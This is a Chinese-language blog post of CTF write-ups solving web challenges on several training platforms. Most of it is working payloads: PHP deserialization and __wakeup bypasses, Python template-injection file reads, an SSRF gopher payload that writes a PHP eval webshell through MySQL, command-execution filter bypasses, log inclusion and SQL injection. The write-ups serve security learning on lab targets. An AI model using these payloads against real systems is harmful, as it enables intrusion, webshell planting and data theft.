CTF刷题1

CTF刷题记录

红包9
ssrf攻击mysql

攻防世界

PHP2


先扫描目录,看是否有源码泄露

在index.phps里面发现源码泄露,但是不全,查看源码发现完整源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

如果id=admin,那么就直接退出。又要经过$_GET[id] = urldecode($_GET[id]);,使得$_GET[id] == "admin",所以可以将进行两次url编码,因为使用urldecode解码后,浏览器再解一便满足admin=id

1
?id=%2561%2564%256d%2569%256e

unserialize3

1
2
3
4
5
6
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

开局给了这几行代码
我们先将其序列化输出

1
2
3
4
5
6
7
8
9
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}}
$a=new xctf();
echo serialize($a);
?>

得到

1
O:4:"xctf":1:{s:4:"flag";s:3:"111";}

使用code传参后发现不对。

wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数。
所以我们可以修改对象的个数进行绕过

1
O:4:"xctf":2:{s:4:"flag";s:3:"111";}

这样便得出了flag

upload1

文件上传
有前端验证,直接上传一张图片,抓包修改后缀就可以了

python_template_injection

这个是python模板注入
先测试一下

先查看有哪些文件

1
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

读取内容

1
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

Web_php_unserialize

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

我们要通过反序列化读取fl4g.php里面的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo('fl4g.php');
$b = serialize($A);
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$b = str_replace('O:4', 'O:+4',$b);//绕过preg_match
$b = str_replace(':1:', ':2:',$b);//绕过wakeup
   //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
echo (base64_encode($b));
  //TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
?>

+4替换成4是为了绕过preg_match的正则表达式
2替换成1是利用了CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
最后按照题目的意思encode一下base64就获取反序列化的结果,get传参即可


将最后的结果传参就得到flag了

ctf.show

红包9

视屏教程地址

进去之后发现是一个登陆框,随便输入都会跳转到404界面,然后抓包,发现存在ssrf

这里要使用ssrf攻击mysql,先下载工具https://github.com/firebroo/sec_tools/

使用方法:

  1. cd /sec_tools-master/common-gopher-tcp-stream

  2. make编译一下

  3. ./sniffer -p3306 监听3306,题目提示为3306

  4. 然后生成shell(另一个终端)
    1.mysql -u root -h 127.0.0.1 -p

    2.select ‘<?php eval($_POST[pass]);?>’ INTO OUTFILE ‘/var/www/html/2.php’;

如果4.1报错的话就以安全模式启动MySQL

1
~$ sudo mysqld_safe --skip-grant-tables &

然后将生成的payload加上gopher://127.0.0.1:3306/_,并且再一次url编码,然后我们便创建文件成功
payload:

1
>gopher://127.0.0.1:3306/_%25ba%2500%2500%2501%2584%25a6%259f%2520%2500%2500%2500%2501%252d%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2507%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%257d%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%250a%256c%2569%2562%256d%2561%2572%2569%2561%2564%2562%2504%255f%2570%2569%2564%2504%2534%2530%2537%2530%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2505%2533%252e%2530%252e%2539%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%250c%255f%2573%2565%2572%2576%2565%2572%255f%2568%256f%2573%2574%2509%2531%2532%2537%252e%2530%252e%2530%252e%2531%2521%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2540%2540%2576%2565%2572%2573%2569%256f%256e%255f%2563%256f%256d%256d%2565%256e%2574%2520%256c%2569%256d%2569%2574%2520%2531%2548%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2570%2561%2573%2573%255d%2529%253b%253f%253e%2527%2520%2549%254e%2554%254f%2520%254f%2555%2554%2546%2549%254c%2545%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2527

然后便可以使用pass传参得到flag

红包7

本题主要考察git源码泄露和目录遍历读取文件内容
打开发现是一个phpinfo页面,扫描目录发现git源码泄露
使用git hack将源码下载下来,在backdoor.php发现了后门
|
但是使用菜刀和蚁剑并连不上,所以只有通过post传参来执行命令。

然后再phpinfo页面发现基本上禁用了所有的命令执行函数

但是我们还可以通过highlight_file来读取文件
POST

Letmein=echo highlight_file(‘../flag.txt’);

萌新web1-7

web1-7 只要 构造出id=1000,或者sql语句绕过或者绕过函数就能拿到flag。

0×01:进制转换

1
2
1.二进制 0b1111101000
2.十六进制 0x38e

0×02:字节操作

1
2
3
1.l两次取反 ~~1000
2.异或 200^800
3,按位与 992|8

0×03:运算符

1
2
3
4
5
1.乘法 200*5
2.除法 10/0.01
3.减法 200--80
4.负负 --1000
5.加法 200+800(地址栏输入的话把+换成%2b)

0×04:sql注入构造

1
2
id=1 or 1=1#
id=id#

0×05:绕过函数

intval($id)会从字符串$id的起始位置开始去数字碰到非数字就结束,当起始位置为非数字时则为0。
比如
intval(‘100a123’)=100
intval(‘a123’)=0

萌新web9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>

这个正则是字符串中包含 system、exec、highlight才能执行eval()
payload:

?c=system(%27tac%20config.php%27);

萌新web10-11

该题考察命令执行,源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>

直接payload:

1
2
3
c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');
or
?c=passthru(%27tac%20config.php%27);

萌新web12

这里过滤了config.php
payload:
在linux中反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。
比如 cat ls 相当于将 ls出来的结果cat。

1
2
c=passthru("ca''t `ls`");
c=$a = base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);

萌新web13

这里过滤了;,所以只有用?>来闭合

1
2
c=passthru("ca''t `ls`")?>
c=$a = base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b)?>

萌新web14-15

这次过滤了(,和>,可以直接echo $flag;

1
2
3
4
5
6
7
8
web14
?c=echo `$_POST[1]`?>
然后再post传入 1=cat config.php

web15

?c=echo `$_POST[1]`;
然后再post传入 1=cat config.php

萌新web16

萌新web17-21

这一题考查日志包含:

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/php/i",$c)){
include($c);

}


}else{
highlight_file(__FILE__);
}
?>

以前在做靶机的时候遇到过:http://cyzcc.vip/2020/03/07/vulnhub-DC5/
方法基本一样,nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

New-Bugku

web1

一打开题目就拿着代码砸我。。

函数Extract:将数组中的键名设置位变量名,键值为变量中的参数

1
2
3
4
5
<?php
$a=array("a"=>"123","b"=>"999");
extract($a);
echo $a."<br>".$b;
?>


接下来If判断,$a的值,发现整个代码中没有出现$a,所以我们可以get提交一个a=111,这个时候就有$a了,并且$a=123 ,再继续,就可以进入到if语句中了,又遇到了一个

1
$c=trim(file_get_comtents($b))

file_get_contemts($b)就是吧$b的值给读取到里面了,然后再用trim函数处理,trim函数的用法是删除指定的字符,然后trim后面什么都没有指定,所以导致全部给删了,最后得到$c=’’。然后判断$a==$c,所以我们构造a= 即可绕过

web2

进入题目后发现是一个计算题,但是只有三秒时间给我们计算。。。于是只有用脚本跑。
刚好最近学爬虫是学了urllib模块和post提交的方法,于是自己尝试写了一下,但是失败了,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import urllib.request
import urllib.parse
import re
url="http://123.206.31.85:10002/"
data=urllib.request.urlopen(url).read().decode("UTF-8")
pat="(\d.*)</p>"
result=re.compile(pat).findall(data)
b=(" ".join(result))
print(b)
a=eval(b)
print(a)
postdata=urllib.parse.urlencode({
"result":a
}).encode("utf-8")
req=urllib.request.Request(url,postdata)
result2=urllib.request .urlopen(req).read().decode("utf-8")
print(result2)

这个写得比较笨重,但是能算出结果,估计提交post表单的时候失败了

还是使用大佬的简单脚本吧

1
2
3
4
5
6
7
8
9
10
11
import requests
import re
url = 'http://123.206.31.85:10002/'
s = requests.session()
html = s.get(url).text
html = html[82:]
nums = re.search('</p>',html).start()
html = html[:nums]
data = {'result':eval(html)}
result = s.post(url,data)
print(result.text)

几个小时过去了,也没跑出了。问了几个大佬说是题目的问题。。。。后面再说吧,说不定我的脚本没问题哈哈

web4

本题打开后为一个登录框,直接先尝试万能密码,成功.

web5

这是一个简单的SQL注入,order by 查字段,在使用联合查询
id=-1%20union%20select%201,2,group_concat(flag),4%20from%20flag

web6

进入页面是一个管理员系统,随便输入后显示ip禁止访问,于是想到抓包使用X-Forwarded-For: 127.0.0.1伪造一个XFF头,伪装成本地登录

在审查元素时发现一段base64编码,解密后为test123,猜测可能是密码。

然后使用admin等陆,成功得到flag

web11

打开之后根据提示/robots.txt /shell.php。进入到shell.php

可知为md5截断比较~ 每次刷新页面匹配值会改变,这里采用短时间生成大量MD5,牺牲空间来换取时间~

web26

这个题打开后出现一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php
$num=$_GET['num'];
$str=$_GET['str'];
show_source(__FILE__);
if (isset($num)&&isset($str)) {
if (preg_match('/\d+/sD',$str)) {
echo "vagetable hhhh";
exit();
}
$result=is_numeric($num) and is_numeric($str);
if ($result) {
include "flag.php";
echo "$flag";
}
else{
echo "vagetablessssss";
}
}
?>

分析:get传参两个参数num和str,然后判断是否存在传参,在把str匹配一个正则,使str不能为数字,所以num传入数字,str传入不含数字的字符串即可

安鸾渗透实战平台

简单代码审计

题目地址

这是一个代码审计题目,提示有源码泄露
扫描目录发现.svn文件泄露

使用dvcs-ripper 工具中的 rip-svn.pl 脚本进行 clone.得到源码

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include 'flag.php';
session_start();
defined('black_hat') or header("Location: route.php?act=index");
if(isset($_SESSION['hat'])){
if($_SESSION['hat']=='green'){
output("<img src='green-hat-1.jpg'>",10);
echo "<br><br><br><a href='logout.php'>妥妥的绿帽子,再给你一次机会吧!</a>";
}else{
output("<img src='black-fedora.jpg'>",1);
echo $flag;
echo "<br><br><br><a href='logout.php'>哎呦不错哦,再来一次。</a>";
}
}else{
output("<img src='white-hat.jpg'>",10);
echo "<br><br><br><a href='login.php'>哥想知道自己的真正实力!</a>";
}
function output($content,$count){
for($i=0;$i<$count;$i++){
echo $content;
}
}

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
defined('black_hat') or header('Location: route.php?act=login');
session_start();
include_once "common.php";
$connect=mysql_connect("127.0.0.1","root","root") or die("there is no ctf!");
mysql_select_db("hats") or die("there is no hats!");
if (isset($_POST["name"])){
$name = str_replace("'", "", trim(waf($_POST["name"])));
if (strlen($name) > 11){
echo("<script>alert('name too long')</script>");
}else{
$sql = "select count(*) from t_info where username = '$name' or nickname = '$name'";
echo $sql;
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if ($row[0]){
$_SESSION['hat'] = 'black';
echo 'good job';
}else{
$_SESSION['hat'] = 'green';
}
header("Location: index.php");
}
}
?>

common.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
error_reporting(2);
session_start();
$connect = mysql_connect("127.0.0.1", "root", "root") or die("error 1");
mysql_select_db("hats") or die("error 2");
function d_addslashes($array){
foreach($array as $key=>$value){
if(!is_array($value)){
!get_magic_quotes_gpc() && $value=addslashes($value);
waf($value);
$array[$key]=$value;
}
}
return $array;
}
function waf($value){
$Filt = "\bUNION.+SELECT\b|SELECT.+?FROM";
if (preg_match("/".$Filt."/is",$value)==1){
die("found a hacker");
}
$value = str_replace(" ","",$value);
return $value;
}
function is_login(){
$sid = $_COOKIE["sid"];
$data = explode("|",$sid);
if($data[0] && $data[1] && $data[1] == encode($data[0]))
{
return $data[0];
}
return FALSE;
}
function encode($str){
$key = sha1("Fuck_you_man");
return md5($key.$str);
}
function set_login($name){
$data = encode($name);
setcookie("sid","$name|$data");
}
?>

在login.php中发现SQL语句为select count(*) from t_info where username = '$name' or nickname = '$name',但是传入的name经过了waf函数,过滤了常见的union、select、from

1
2
3
4
5
6
7
8
function waf($value){
$Filt = "\bUNION.+SELECT\b|SELECT.+?FROM";
if (preg_match("/".$Filt."/is",$value)==1){
die("found a hacker");
}
$value = str_replace(" ","",$value);
return $value;
}

在index.php中发现,当$_SESSION[‘hat’]不等于green时便会输出flag,

接着看到login.php中,执行SQL查询语句,如果查询结果不为空,那么就$_SESSION['hat'] = 'black'于是构造SQL语句,playload如下:

or%0a1# ‘

拼接到SQL语句为:

select count(*) from t_info where username = ‘or 1#’ or nickname =
‘or 1#’

这里使用%0a的方法进行Http分割注入,当%0a在mysql中执行的时候,是换行,也就是这个效果:

7.png

文章作者:CyzCc
最后更新:2020年06月25日 20:06:41
原始链接:https://cyzcc.vip/2020/04/19/CTFstudy/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------